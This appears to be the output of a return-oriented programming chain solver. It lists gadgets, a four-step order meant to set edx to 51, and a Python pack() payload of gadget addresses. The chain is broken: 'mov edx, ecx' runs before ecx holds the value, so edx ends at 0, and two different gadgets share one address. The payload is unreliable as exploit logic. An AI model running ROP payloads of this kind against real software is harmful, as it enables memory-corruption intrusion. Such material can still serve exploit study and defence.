[+] Context = {'edi': 0, 'eax': 0, 'edx': 0, 'ebx': 0, 'esi': 0, 'ecx': 0}
[+] Target  = {'edi': edi, 'eax': eax, 'edx': 51, 'ebx': ebx, 'esi': esi, 'ecx': ecx}

[+] Following gadgets available:
        -> add eax, 0x1 ; ret
        -> add eax, 0x32 ; ret
        -> add eax, 0x45 ; ret
        -> mov edx, ecx ; ret
        -> mov ecx, eax ; ret

1) Then, use the "add eax, 0x1 ; ret" gadget 1 times
2) Then, use the "add eax, 0x32 ; ret" gadget 1 times
3) Then, use the "mov edx, ecx ; ret" gadget 1 times
4) Then, use the "mov ecx, eax ; ret" gadget 1 times

[+] Payload:

        from struct import pack
        p = ''
        p += pack('<I', 0x403a0e) # add eax, 0x1 ; ret
        p += pack('<I', 0x401207) # add eax, 0x32 ; ret
        p += pack('<I', 0x441ba7) # mov edx, ecx ; ret
        p += pack('<I', 0x441ba7) # mov ecx, eax ; ret